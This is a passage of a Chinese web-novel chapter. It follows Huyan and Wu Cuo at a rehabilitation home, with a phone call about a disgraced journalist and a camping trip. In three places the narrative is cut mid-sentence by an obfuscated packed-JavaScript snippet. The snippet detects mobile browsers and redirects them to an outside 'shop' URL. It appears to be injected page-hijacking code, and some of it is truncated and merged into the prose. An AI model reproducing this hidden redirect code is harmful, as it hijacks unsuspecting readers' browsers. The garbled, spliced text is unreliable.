然后立马收回视线,看向旁边的大树。 就那么不到半秒钟的时间,呼延感觉自己好像被吴措看穿了似的,一种后知后觉的心虚感爬上来。 在这种无声的对峙中,提前撤退近似于一种自首。 虽然呼延并不知道自己的罪名是什么。 “跟双胞胎似的天天混一块,就多余和他那么一说。”封筝冲着两人离开的方向嘟囔了一声。 “啊——啊?”呼延有点反应迟钝地发出句疑问。 “我不是和八哥讲了吴措的事么,就是他之前把自己爹弄进去那事,就感觉八哥看吴措的眼神都热情了不少。”封筝眯了眯眼,“我就没见过比他还慕强的人。” “慕强?”呼延不觉得这词表述正确,“吴措也就还算马马虎虎吧,八哥又不是没见过世面的人。” “你不懂,八哥对‘强’的概念和一般人还不一样,他在北城当总助的时候见过一打的董事高管也没见他这样过,但他就只欣赏一种人。” 呼延看着封筝。 封筝:“不遵循规则,还能玩规则的人。” 呼延脖子缩了缩,“没这么夸张吧。” “有。”封筝斩钉截铁,而后又骂了一声,“靠,八哥不会最后和吴措搞上了吧。” “……那倒不至于。”呼延憋了半天说。 “怎么不至于。”封筝说,“这世界上就没有什么事是绝对不可能发生的。” “怎么说呢,你至少不用担心吴措会答应,”呼延一脸痛心又无奈,“因为吴措喜欢我。” 13. 吴三 “吴措喜欢我。”呼延说。 封筝表情愣住一下,“他跟你表白了?” “表白倒是没有。”呼延脱了拖鞋,盘腿坐在椅子上,“不过他追人的招太老土了,被我一眼识破。” 封筝想了想,又问:“怎么说?” “他今天一大早堵我门口说我电视机开了一晚上,声音吵到他了。”呼延说起来还有些情绪忿忿又不屑,“我电视明明是关着的好么,这不是没话找话么。” “电视——” 封筝刚想说什么,又被呼延接下来的话打断,“陆离昨晚在呢,他晚上睡觉前把电视关掉了的。那货小学生吗?还用喜欢谁就惹谁那招。不愧是吴三。” “什么吴三,又有新外号了?” “吴道德吴底线吴人品,三无人士,吴小三!”呼延总结。 封筝笑了声,又说:“你和他说了?陆离昨晚在的事。” “是啊。”呼延说,“他不守男德,我还是有底线的好吧。” “那吴措怎么说。”封筝问。 呼延:“他有什么好说的。”嘴硬得要死。 但确实,话说到这里的时候呼延也意识到了,就算吴措不知道边界感,那她至少也得在乎。 呼延和封筝在这边吧啦吧啦吐槽吴措的时候,吴措和八哥顺着小径到了灵沧山脚下的泉眼旁。 这条路比呼延带着他走的那条要近些,还有几小节是没有被人脚踏过的新鲜草地。 泉水边有三四个村民在打泉水,一人带着几个接近大腿高度的桶,用红色的塑料瓢一舀一舀地往桶里装水。 他们排在后面还要再等一会儿,一向话少的八哥开始没话找话,说:“我们下午有个手工艺活动,剪纸、插花和泥塑,你有感兴趣的吗?” “我都可以。”吴措看着那个直径也就不到一米的泉,想起那天呼延在泉边洗头发的样子,嘴角抬了下。 “也是。”八哥说,“你学东西是挺快的。那些康复仪器,我在这儿是没见过几个人教一遍就能记住完整流程的。” 八哥想起件事,“我记得院长之前说过,你有过相关经验是吧。是以前在医院待过?” 确实是待过,待过挺久的。 吴措回答:“以前做过类似的志愿者。” 八哥点点头,“那也难怪了,手感这种东西还是挺玄学的。不过你是怎么跑到这儿来当志愿者的?我们这还挺难找的吧。” “朋友介绍。”吴措说。 八哥了然,“还真是。别看我们小院这么多人,多问两下以前都有点渊源,也算是缘分。” 缘分这词非常中性,因为它有可能好,也有可能坏,所以他来到这里算是种好的缘分吗? 这个问题还没有能找到答案的端倪时,吴措就发现了另一个问题,呼延好像在躲着他。 一开始是他那天和八哥去小餐厅吃饭,刚一进门八哥带着他准备往封筝那一桌走,呼延就坐在封筝旁边,一看到他立马起身了。 后来他早上从房间里一出来,呼延刚好也推开房门,视线和他一碰又跟触电了似的缩回去了。 类似的事发生了这么几次,吴措就觉得挺好笑的,这人怎么做到躲人也躲得这么有意思的。 呼延为了和吴措错开值班,这几天一直在值晚班,晚上十点多才回房间。 这天晚班结束,呼延走到门口准备开锁的时候,吴措从自己房间走了出来。 呼延手里乱了一下,怼着锁孔半天没戳进去钥匙,好容易把钥匙怼进去,推门就要往屋里走。 “你明天什么安排。”吴措开口。 呼延脚下停住,偏头看他,“干嘛。” “明天休假,一起去枥城逛逛?” 呼延收起钥匙,上下扫了眼吴措,“刚来没几天就休假,你没事吧?” 吴措不以为耻,笑了下,“每周一天假么不是。有假不休,思想有问题。我好心带上你出去偷懒,不识好人心是吧。” “所以你承认你这是在偷懒是吧?” 吴措倒是不否认,懒散靠在门边等着呼延反应。 “不去,我明天有事。”呼延说。 “什么事。” 呼延吐字吐得字正腔圆,“去找我男朋友。” 她本来就是打算这两天去找吴措的,择日不如撞日,也趁机让吴措知难而退。 吴措读不懂空气似的,没迟疑直接说:“我和你一起。” 呼延吸了口气,夜晚温凉的空气吸入鼻孔,让她脑海里繁乱的思绪清醒了些,越清醒她就越觉得吴措这人可能真的有毛病。 “你到底要干嘛?我说的很清楚了,我有男朋友,我是不会喜欢你的。” 吴措笑了,“你想多了。” 他表情淡淡,没什么情绪地说:“我对你,真的没兴趣。” 装吧你就。 呼延心说。 她冷呵一声,摆着倒要看看他要怎么狡辩的样子,“那你非要跟着我干嘛。” 吴措的视线浅淡地落在她身上,四目相对了大概有五秒钟的时间,吴措说:“如果我说,是对你男朋友感兴趣,你信吗?” “……神经病。” 扔了三个字,呼延重重摔门而去。 吴措在原地站了一会儿,他脸上的笑意慢慢、慢慢地敛去。 他朝走廊外望了一眼,天上挂着明朗的上弦月,皎皎一如当年。 算一算时间,距离故友去世也已经四年了。 呼延的房间里再次响起响亮的电视声,这次他听得很清楚,是个喜剧比赛的综艺,观众的笑声不时响起,呼延的声音也掺杂其中。 他第一次知道呼延这个名字,是不小心看到了故友随身带着的照片。 背景是一片看不到边际的草原,女孩拿着朵蒲公英向着镜头笑,身后白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14432201|153914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马食草,天气晴朗无云。 这是一张普通的五寸相纸,被塑封过,保存得很好。 在此之前,吴措已经很少见到有人把除了证件照和婚纱照之外的照片打印出来了。 照片背后写着两行字。 一行是真真。 一行是呼延真。 “真真”是他对呼延真的称谓,“呼延真”是他怕自己后期因为药物原因会忘记这个名字所作的标记。 吴措记得他去世前,一直在反复看着这张照片。 他说,我走了以后呼延会很伤心,我怕她会出事,帮我看看她吧,帮我确定她还是好好的。 现在的结果是他想看到的吗? 呼延确实状态很好。 好到似乎那已经成为了她无足轻重的过去,她毫无芥蒂地向前行走,认识新的事物,爱上新的人,就好像把关于他的一切扔在了遥远的回忆里。 这样是挺好的。 吴措用手背抹了下鼻尖,走回自己的房间。 世界不会因为任何一个人而停止运转。 离开的人已经离开了,活着的人仍然要活下去。 他也会这么想的。 按照吴措对他的了解。 隔壁房间。 呼延看完最新一集更新的喜剧综艺,又去网上截了段最好笑的发给了陆离,顺便告知了她准备明天去找他的消息。 陆离回得很快,他明天刚好在千云峰拍摄。 千云峰是在灵沧山另一侧,离这里再稍远一些的群山,山势陡峭,经常会有苍鹰盘旋,陆离要在那里扎寨几日。 他和呼延说,他们可以一起在千峰山露营。 呼延心情愉悦一边回着陆离的消息,一边趿拉着拖鞋去洗漱。 出来的时候,房间门口多了坨团成毛绒球的胖猫,夜宵正趴在那呢。 夜宵在楼下有自己的固定窝,但它从来不在自己的窝里睡觉,整天在院子里巡游,然后去不同的角落趴着,有种视察领地的意味。 呼延倒是很难得在二楼看到夜宵,夜宵是只肥猫,原始袋垂到大腿,上楼对它来说运动量过大了。 呼延把盆放在旁边,蹲下来摸了下夜宵的脑袋,“想我咯?” 夜宵顺着呼延的手掌转过脑袋,用鼻尖蹭了蹭她的手指,围着她转了一整个圈,像是确定什么似的。 而后从地上慢腾腾翻起,前爪向前伸直,后爪扒着地面,屁股高高翘起来,长长伸了个舒服的懒腰,直接转身向楼梯方向离开了。 呼延看着夜宵晃晃悠悠的尾巴笑了,“小肥猫。” 她拿起盆回房间关上门,坐到梳妆镜前。她的刘海在洗脸的时候弄湿了些,旁边就放着吹风机,她也没用,用擦完脸的洗脸巾囫囵擦了一下就躺下了。 已经深夜了,呼延关上灯睨向窗外,乌云破碎月光泻出,她闭上眼睛期待着第二天和陆离的见面。 14. 男友 出发去千云峰前,呼延做了很多的准备。 她将各种登山露营设备塞满了一整个登山包,包紧实得鼓鼓囊囊,第一下背起来的时候差点没把她腰闪了一下。 陆离上次来之后她才想起忘记去城里给他买护膝了,临走前呼延又规划了下路线,需要转个公交绕点路先去商场把东西买好,然后直接打车北上,一条大路直通千云峰。 踌躇满志开门下了楼,呼延脑海里还再盘算着有没有什么遗漏的时候,视线里忽然闪过一个人正贴着墙边往洗漱间的方向走,一步一挪,有点偷偷摸摸的意味。 “香香女士!”呼延冲人打招呼。 香香女士的身形一顿,却像是没听见似的加快脚步往前走。 呼延又喊了两声,香香女士直接转身调过了头,朝着B栋的方向一路小跑,在拐角处一个消失在了呼延视线里。 “又干嘛去了,神神秘秘的。”呼延嘟囔了声,“封筝也不在。” 香香女士平时特大小姐做派,大门不出二门不迈,但凡出门就得封筝陪着。但今天却罕见地舍得一个人出来了。 呼延看了看时间,她因为要赶车起床得早,现在还是封筝查房的时间,估计也是没顾上香香女士。 呼延拽着背包带走到了大门口,她需要走五分钟路到村口赶第一趟公交,经过桃溪村的公交车不多,一天就三趟,错过这一趟,下一趟就是中午十二点的了。 她往前走了两步,脚步刚迈出门槛又折了回来。 一边往B栋方向走着,一边给陆离发了消息,说要晚点再过去了。 还没走到,呼延就迎面和再次折回的香香女士撞了个面对面。 这回正面碰上了,呼延看清了香香女士怀里抱着的东西,是一打叠起来的布,床单或者被罩,被胡乱攒到一起,压在胳膊底下欲盖弥彰地藏着。 香香女士一看到呼延,脸“唰”地变红,脑袋瞬间就低了下去。 “洗衣服?”呼延打量了一下。 香香女士低着头,“不、是。” 一边说着一边贴着墙挪步,她想往洗漱间方向走,但走廊就那么窄的一条道,必定要和呼延擦个肩。 越靠近的时候呼延看到香香女士的耳朵就越红,而她也随着距离的接近,知道了香香女士行为诡异的原因。 她闻到了一股熟悉的尿骚味,似有若无地从香香女士的身上传出来。 结合香香女士的动作,事实也十分明显,气味的来源就是被她紧紧捂着的那张床单。 小便失禁。几乎毫无悬念。 呼延叹了口气,把肩上压出痕的登山包解下随手放到旁边。 呼延:“给我吧,我来帮你洗。” “什么、什么?”香香女士却很惊恐的样子,“洗什么!不要你洗,我没有要洗的东西。” 呼延猜测着眼前的情形,知道香香女士又是犯大小姐傲气了,肯定不可能承认自己尿湿了床单。 她弯腰从自己包里最外层掏出件速干衣出来,说:“是我想去洗衣服,帮你顺便洗了,成么?” 呼延伸出手来要去拿香香女士的床单,香香女士却气哼哼地把床单甩到了身后。 “你洗衣服就洗好了,抢我的东西干嘛?” 呼延静了几秒,有点没辙了。 “你不让我洗,那我陪你一起去成吗?”呼延退而求其次,带着点劝哄的语气,“旁边有热水桶,太危险了。” 香香女士却是倔脾气上来了,“你就是想抢我的床单!” “我没有,我不抢你的。”呼延说,“我抢你床单干嘛呀,我自己有床单。” 香香女士更生气了,“你有床单还抢我的,你这个人怎么这么不讲理!你是哪个班的——” 话说到一半的时候,香香女士脸色忽然僵住,嘴唇一下子紧抿起来,眼神带着尴尬和惊恐看向呼延身后。 呼延顺着香香女士的视线往后一看,吴措正靠着走廊的柱子,一手插着兜,悠哉看着她们。 香香女士将床单紧紧藏在身后,严丝合缝贴着墙,小声埋怨道:“都怪你!抢我东西,还不让我走。现在大家都看到了!” 呼延稍侧过身,对上吴措的视线白了一眼,“你要干嘛!” “公共区域,我在这站着也不行?讲不讲理啊。” 分明就是看戏的。 呼延又瞪了他一眼,眼神挤弄了下让他哪凉快哪待着去。 吴措抬了抬眼尾,声音和动作懒散又随便,“瞪我干嘛,赶走人证啊。真行啊呼延真,堂堂医生,抢老人家的东西。” 这回呼延还没说话,香香女士一下子不乐意起来,火气直接转向了吴措,“你说谁是老人家呢!你有没有礼貌啊!你是哪个班的?” 吴措反应了一下,似乎哪里有些不对劲。 他脑海里将面前老人家的脸和自己这几天见过的人对应了一下,终于想起了她的身份。 102C床的沈兰卿。 病症是…… 呼延挤到他身前,对着怒不可遏的香香女士道:“他确实没礼貌!他不仅没礼貌,还没道德没底线呢!” 吴措:“……” 他合理怀疑,呼延现在是在借题发挥,公报私仇。 香香女士本来还和呼延剑拔弩张的,一听到她这么说,立马调整战线,小姐妹似的和呼延站到了一块,“我一看就是!男孩就是这样,一点绅士风度都没有!” 呼延添油加醋:“可不是么!咱们不和他们这些没绅士风度的男孩一块玩。” 吴措眼皮抬了抬。 他现在成了人家统一战线的工具了是吧。 呼延挎过香香女士的胳膊,临走前又冲吴措白了一眼。 呼延:“走,我们一起洗衣服去。” 吴措站在原地看着呼延带着人离开。 他早上绕着村子晨跑回来,就看到呼延背着个大包朝着哪个方向过去了。 是因为好奇心吧,所以才跟了过来。 抢人东西……虽然从眼前的情形看来,这极有可能是个误会,但呼延这个人的形象在他心里又怪了一层。 吴措甚至觉得,如果呼延真的和老人家抢个什么小玩意儿,也不是完全没有可能性的。 他转身要走的时候,视线又瞥到了地上的登山包。 呼延背着这个包要去哪里。 是她前一天说的,去找男朋友? 吴措想起呼延说起的话。 这位神秘的男朋友究竟是何方神圣,要让呼延逃难似的带着这么多东西去找他。 院子里陆续有人出来,吴措最后又看了眼地上的登山包,没搭理,转身走了。 不过等他洗漱完准备到楼下吃早饭的时候,呼延主动找上门来,她在餐厅门口堵住了吴措。 “把我包还给我。” 吴措低着嗓子,“什么包。” 呼延没好气道:“别和我扯,快还给我,我真生气了。” 吴措说:“你假生气也没用,我没动你的包。” 呼延狠狠叹了口气,“刚才就你一个人在那,不是你拿的还能是谁拿的?那么大一个包,还能凭空消失吗?” 她越想就越气,“之前说我开电视吵你,今天又偷藏我的包,你花样挺多啊吴措。” 吴措低眉瞧着她,笑了笑:“小院这么多人,你就认准我了是吧。” “除了你还有谁这么无聊。”呼延哼了声。 吴措懒得说了,“饿了,先吃饭,行吗?” 他没管呼延直接长腿朝着旁边一迈,往餐厅里去了。 早饭都是自取的,类似自助,包子油条这些吃多少拿多少,只有放粥的锅前面站着人帮忙打,怕自取会出什么意外。 餐厅里这会儿人还不多,眼熟的就向晚星一个,她坐在角落里戴着耳机背单词,看见呼延进来,本来想打个招呼,看到她不怎么愉快的表情,话又憋了回去。 耳机声音关了,默默听着呼延和吴措拌嘴。 呼延说:“你烦不烦呐,藏我包对你有什么好处。” 吴措取了个盘,夹了根油条放上去,说:“你还没吃早饭吧。” 呼延:“不需要你管。” 吴措又夹了根油条,“自己拿盘,还是放我盘里?” 呼延望了眼吴措盘里的东西:“我不喜欢吃油条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小黄豆依旧是没有应声,接过筷子,沉默着将午餐肉送进了嘴里。 这边,封筝打完饭走了过来,她端着的是给小黄豆打的饭,八哥端着他们两人的饭,顺势面对面坐到了呼延这边的桌子旁。 封筝把餐盘放到小黄豆面前,随口道:“今天这么早过来吃饭啊。” 视线在呼延吴措两人身上扫了下,“难得啊,你俩怎么坐一起了。” 呼延面无表情:“被抢劫了,一会儿带嫌犯去报警。” “抢劫啊,这光天化日的。”封筝都习惯呼延脑回路了,当然也没觉得是真的,“哈”了一声应和了一下。 封筝抬眼望了下吴措,他也不反驳也不附和,听着呼延说完后眼梢凉凉挑了下。 把小黄豆的粥搅得稍凉了些,封筝向着呼延说:“你带这么大包要干嘛去?” 呼延一开始还没意识到什么,直接接话:“去千云峰啊。” 说到一半忽然反应了过来,“包?我的包?” 吴措筷子夹起一根油条往嘴里送,意料之内地冷“呵”了一声。 封筝说:“你要去千云峰和院长说了吗?” 呼延还停留在前一句话,“你拿了我的包?” 封筝接过八哥剥好的茶叶蛋,一口咬去半个,嘴里含糊不清,“是你的吧?黑黢黢老大一个跟麻袋似的,我刚才看你扔地上就帮你收起来,先就近放院长那了,你自己一会儿去拿吧。” 呼延暗戳戳向吴措方向瞧了一眼,这人就跟没听出来什么意思似的,筷子拌了下小碟里的咸菜,夹起一小节送进嘴里,看都没看她。 呼延憋了两秒,看着吴措,揣着明白装糊涂道:“你怎么不早说。” 吴措眼睛稍微往她这偏了偏,然后嗤地一声笑出来,没回答,放下筷子起了身。 封筝问他:“这就吃完了?” 吴措甩过去个眼神,“被诬陷了,一会儿带嫌犯报个警。” 呼延:“…………” 15. 露营 吴措收起餐盘,电话摁了接通往门口走。 来电话的自然不是警察,是他之前找的帮忙查那记者的朋友老郑来消息了。 往门口走的时候,吴措听到呼延提到了“香香女士”的名字。 “香香女士又不下来吃饭?”呼延问。 封筝说:“闹别扭呢,一会儿打包点给她带过去。床单你给她洗的?” 呼延说:“不是,她自己洗的,都不让我碰,非得说是夜宵尿她床上了。唉,我们夜宵小小身体,就要背这么大的锅……” 说到这里时吴措已经走到了门口,后面的话听不大清了。 他后知后觉地反应了过来,原来香香女士就是沈兰卿。 那个患阿尔兹海默症的老太太。 “……那货博眼球没底线,好色还贪财,去年拿丑闻威胁一个金融圈大佬,被大佬设局送进去了,判了八年,但我估计是很难好好地出来了。狗脑子,什么钱都敢赚,你说是吧?——喂?吴措?” “在听。”吴措出门转了个弯走到院子里,不知不觉就坐到了呼延的躺椅上。 这躺椅应该是有年份了,椅子腿劈了一节,拿铁丝缠上了,看着倒有种诡异的结实感。 “叫陈文德?”吴措说。 “是啊。”老郑嗤笑一声,“老一辈起名儿还真有讲究哈,缺什么起什么,起什么缺什么。占一个也就是巧了,偏偏没文还没德。” 吴措没说话,他躺在呼延的躺椅上,仰头望着被桃树枝叶遮去了大半的天空。 桃树没有结果,据说自从移栽过来后就从来没有结过果子。 院子里两棵桃树都是同呼延她们同一个时间住进来的。 呼延修剪枝叶修剪得很勤,却似乎本末倒置了,粗直的树干一直到一米半多的高度才开始分叉。 分叉后的每个枝干也都很粗,吴措第一次见到的时候还以为是某种没长成的青杨。 这样的桃树很难开花结果。 “你说的那个朋友,是叫呼延真?”老郑的话打断了他的思绪。 吴措胳膊枕在脑后,轻应了声:“是。” “她没被骚扰吧?有个之前认识陈德文的同事说,这狗东西不是第一回了,偷拍骚扰采访对象,不成就造谣,有个小姑娘心理承受能力不行,想不开喝药了没救回来。你那朋友没事吧?” “她啊。”吴措想起封筝说的话,也幸好是呼延的暴脾气,不然说不定也得吃亏,“好着呢。” “那就行。”老郑说,“现在人过得轻松了,经受不住压力,就容易想不开。实际上只要还能活着,什么事解决不了啊。” “每个人能承受的重量不同,如果能好好活着,谁会想死呢。”吴措接住了一片落向躺椅的叶子。 还没到秋天呢,就开始落叶了。 电话那头静默了两秒,片刻后老郑说:“吴措,你什么时候回北城,找时间一块吃个饭?老楚他们前两天还念叨你呢,刘哥媳妇生了个胖小子你知道吧?还说让你抱一抱随着你的长相长,我说就他那鞋拔子脸基因让你天天抱着也变不了,你说是不是哈哈……要不我去找你吧,今年年假还没休呢。” 吴措听着老郑扯了半天,扯了扯嘴角:“不用担心我,我活得好好的,不出意外,得死在你后边。” 老郑笑了声,“还能开玩笑,看来戒断得不错。” 吴措怼了他一声,“什么戒断。不懂就别瞎用词。” 老郑:“行,您博学您伟大,您为新闻事业献身,行了吧。” 吴措没应声,老郑顿了下,觉得自己玩笑又开大了,开始找补,“我这嘴你也知道,就当我随便放了个屁。不过你确定没事?回来后去看正规心理医生了吗?” 吴措说:“现在天天对着医生呢。” 老郑一开始没反应过来吓了一跳,“你又去医院了?什么医院?” 吴措从躺椅上起身坐直,胳膊支在腿上撑着,“疗养院。不是刚说了么。” 老郑松了口气,“哦也是,我说呢,你怎么忽然认识了个疗养院的朋友。不过你现在住疗养院好好养半年也挺好,枥城是个好地方,适合修养身心。” 吴措懒得多解释,“嗯”了声,“先挂了,改天再联系。” “诶等一下。”老郑最后又叫住了他,声音明显犹疑了些,“什么时候回来说声。那个……白云路再来电话你也接下吧,万一有什么重要事呢是吧,四年了也是都挺想见见你的。” 吴措声音冷淡而平静,“老郑,你应该知道我在那四年是因为谁。不要最后连朋友也做不成。” 老郑声音停住半晌,然后叹了口气,说不出话来。 吴措说:“他不是想训诫我么,都能把手伸到你这儿了。那刚好,你转告他,想对我做什么就做吧,我不会去见他的。既然当初选了那条路,就代表我做好了承担后果的准备。” 老郑声音为难,“这么多年兄弟了吴措,你知道我是个什么人。传话这事确实是我的错,不过我就是个普通人,家里老婆孩子靠我养,我没你这么潇洒,有些时候我也想去他妈的爱谁谁,活痛快了再说。但我现在不能只为我自己活,吴措。” 孤鸟飞过,留下一声鸣唳。 “没怪你,这事怎么算都算不到你头上。”吴措说,“就说到这吧。挂了,改天北城约。” 吴措手里碾磨着桃树叶子,乌云掠过晴空,太阳被遮住过半,路面一寸一寸暗沉下来。 他顺着光黯下的方向穿过院子往B栋走。经过院长办公室的时候,听到呼延的声音从里面传出。 “姐姐明天就回来了,小黄豆想姐姐晚上我们可以视频。”呼延柔声柔气地说。 声音停顿了一会儿。 封筝的声音传出来,“要不你今天别过去了吧,晚上降温么不是。” “我带了睡袋和棉衣,一会儿还得去趟市场呢。” “你看小黄豆非得和你一块去,那千云峰是小孩去的地方嘛。” 呼延“哎呀”了一声。 “还不是都怪你非把小黄豆拉过来。” “谁叫小黄豆就喜欢你呢,一会儿不见都不行。” “那可不是。”呼延声音乐滋滋的,“小黄豆听话,真真姐姐回来的时候给你带新的蝴蝶标本好不好?” 中间几人的声音弱了下来,听不分明,再几秒钟后,房间里传出小黄豆闷着声音发出单音节“嗯——”的不满声。 最后是宋殊拍了板。 “一块去吧,给你们放一天假,也好久没出去了。” 然后是众人的欢呼声。 吴措转身准备走的时候,里面人推门走了出来。 八哥先看到了吴措,打了个招呼。 封筝瞧见叫住吴措,“今天放假,一块去千云峰露营去吗?” 呼延听了封筝这话本来想阻止的,但又转念一想,让吴措见见陆离,知难而退也挺好的,默默憋回去没说话。 “小院里没人行吗?”吴措问。 宋殊在最后走了出来,“小赵和路路在,我今天不出诊,你们晚饭前回来就行。” 呼延是打算在外面待一晚上的,宋殊这么说了,她还是跃跃欲试想试探一下。 “那个……” “想都别想。”宋殊毫不留情驳回提案,“再啰嗦都别去了。” 封筝抓紧抱住呼延的胳膊阻止她再说话,“回!晚饭前绑我也把她绑回来,院长就放宽心吧哈。走了走了,去收拾一下,我拿钥匙开车去。” 收拾得飞快,排练过似的,不到十分钟所有人在车前集合。 一辆五人座的SUV,封筝开车,八哥坐在副驾。 呼延先把小黄豆塞到了后座,临出发时,向晚星跟着一起上了车,意识到的时候,后座只剩下一人座的空间。 呼延的手扶着车门,一挑眉,“你先进?” 吴措戴了顶棒球棒,眉眼遮住了小半,凸显出他轮廓格外清晰的下半张脸。 呼延以前只注意到他的皮肤很白,现在看起来他的嘴唇颜色也很淡,也许是贫血,呼延想。 啧,很弱不禁风一男的。 “你希望我去么。” 吴措忽然开了口。 呼延掀了掀眼皮。 吴措笑得似是而非:“不是去找你男朋友么,一会儿见着,不怕我会说什么?” 呼延嗤了声,“君子坦荡荡,我管你说什么,我和他的感情不是你一两句话就能破坏的。” “你对每段感情都用情这么深么,”吴措垂眼望着她,“还是说,你的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14432203|153914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感情只对当下生效。” 呼延一脸“你在放什么屁”的眼神,“不对当下生效还对未来生效吗?吃错药了吧你。” “真真姐姐。”小黄豆在车里面喊了声。 呼延弯身朝里面探头,温柔道:“来了。” 呼延没等吴措,自己先钻了进去。 封筝从后视镜里看着,她看到吴措的嘴角很轻地抬了下,然后摇了摇头,不知道是无奈还是不认可之类的意思。 但很快,就随着呼延坐进了车里。 开车到千云峰的路程不远,但中间要去市场采买点食材和露营缺的东西,又饶了点路。 路上小黄豆一直抱着自己的蝴蝶标本盒子,是呼延怕他会应激准备的,跟小孩的阿贝贝似的。 吴措不知道小黄豆对昆虫的特殊兴趣,问了句:“这是你自己做的标本吗?那只蓝色的是什么蝴蝶?” 呼延一听眼睛瞬间睁大了,但还来不及阻止,小黄豆已经话匣子大开,开始了自己的蝴蝶科普大全。 从名字到生活习性,再到分布和进化,把盒子里的九种蝴蝶念了个遍。 其他人都已经习惯了,星星安静地抱着自己的画本打草稿,封筝和八哥两人在前排聊周末小院例行的手工活动。 只有吴措,是第一次见到小黄豆这样喋喋不休的模样。 呼延坐在吴措和小黄豆之间,她有些不安,既不能打断小黄豆,又无法向吴措传递让他不要产生不耐烦情绪的意思。 不论她对小黄豆的私心有多重,都无法否认小黄豆这种行为在普通人眼中看起来是“不正常的”。 只是听一会儿也还好,但连续十几分钟,甚至几十分钟的科普对于任何人来说都是乏味的,即使对方想要保持礼貌去假装认真听,也很难就那么维持下去。 尤其是小黄豆根本不管别人感不感兴趣,如同人工智能一样的特殊语气说出来的情况。 呼延的余光盯着吴措,她很快发现,吴措的表情始终没什么变化。 就是,他没有特别感兴趣,也没有不耐烦,只是听着,表情不咸不淡的。 偶尔问一下,发现小黄豆根本不回答后,就停止了提问。 就好像他向一个普通人问了一个问题,在听对方回答似的那种听着。 从第一分钟,到第十分钟,都是这样的表情。 还挺……出乎意料的。 呼延一时间觉得自己的担心,有点多余。 到后来他们到了商场,准备下车去采购的时候,小黄豆还没有讲完。 呼延想了想,试图打断,“小黄豆,和姐姐一起去买东西吗?给你买好喝的葡萄汁。” 小黄豆吞咽了下口水,却没有停下自己的科普。 呼延有些无奈,她肯定不放心把小黄豆一个人扔在车里,但又想自己去挑给陆离买的护膝,为难了片刻,最后作出了取舍,朝封筝说:“我不上去了。买的时候帮我拿副护膝吧,挡风的那种。” “护膝?”吴措眼神掠过,“给你男朋友买的啊。” 这没事找事的腔调。 呼延好不容易对他建立的改观轰然崩塌。 “是又怎么样。”呼延说,“没人给你买过吧?” 吴措笑了下,没应声。 车子停在室外路边,旁边就是一排大树,他靠着车窗的位置,树影摩挲着他的脸,他继续听着小黄豆的声音。 “什么材质的?”封筝解着安全带问,“皮的还是棉的。八哥你去买肉,牛肉和猪肉都买点,还有鸡翅。看看有没有腌好的,别买辣的,小黄豆和星星都不能吃。” 星星在后面喊了声:“我想吃奶香小馒头,我能和你们一起下去吗?” “行啊。”封筝说,又朝着呼延问:“八哥有个皮的护膝,给你买一样的?” “哪种的?”呼延不记得她见过八哥戴过什么护膝,“算了,都行。能挡风就行,山上主要是风大,别的倒还好。” “你和他们一起吧,我在车上陪小黄豆。” 吴措忽然又开了口。 呼延转过头来看向吴措,他垂眼倚靠在座椅上,声音挺轻的,却有种很奇怪的穿透力,呼延感觉耳膜不自在地震动了一下。 “留个电话吧,有事叫你。”吴措说。 16. 支点 呼延给了微信,加上的时候,她才意识到认识这么几天了,她和吴措始终没有对方的联系方式。就好像从一开始就做好了吴措一旦走了,他们就不会再有什么联系的准备一样。 封筝也是这时候才意识到一直没有把吴措拉进小院的微信群,等呼延加完也跟着加了吴措的微信,把他拉进了群里。 一共两个群。 大群是小院里的所有人,临时工、志愿者,或者是正式员工,甚至是病人,全都在这个群里。 小群是工作群,有条置顶群公告,宋殊编辑的,应该是端午节发的,说让大家填表格订粽子,甜的咸的备注好,有想寄给家里的写上份数,统一采购。 小群倒暂时没人说话,大群不知道是从他进来才开始,还是原本就很热闹,几秒一条消息蹭蹭地弹出来。 【呀呀呀呀是新来的小帅哥】 【大佬里面请.gif】 【大佬里面请.gif】 【……】 【为啥你们出去玩我只能在家看家!我也要去露营!】 【@条条大路通小路院长刚买的榴莲被你吃了一大半你又不说了?】 【@条条大路通小路什么?吃独食?给我吐出来!】 【@条条大路通小路什么?吃独食?给我吐出来!】 【……】 【求放过……我只是给大家尝尝熟没熟咳咳】 【@hu呼延记得拍照哦】 【@措措哥拍拍呼延,看看她背着我们吃啥好吃的了】 【@hu小呼延少吃点辣椒】 群里氛围很好,除了几个昵称和自己名字有关联的人之外,大部分人是谁吴措都认不出来,从发言里也几乎看不出谁是工作人员谁是病人。 热闹得甚至像是上学时候的宿舍群。 吴措发了个“ok”的表情包,就合上了手机。 呼延几人离开十几分钟后,小黄豆终于念完了他的蝴蝶百科,吴措从车门侧夹层里拿了瓶水,打开递给小黄豆,小黄豆面无表情接过来,大概是真的渴了,咕嘟咕嘟灌下一大半。 “小黄豆。”吴措叫他的名字。 小黄豆喝完水,又抱着自己的蝴蝶标本盯着看。 “你有想要做的职业吗?或者不是职业,只是自己想做的事。” 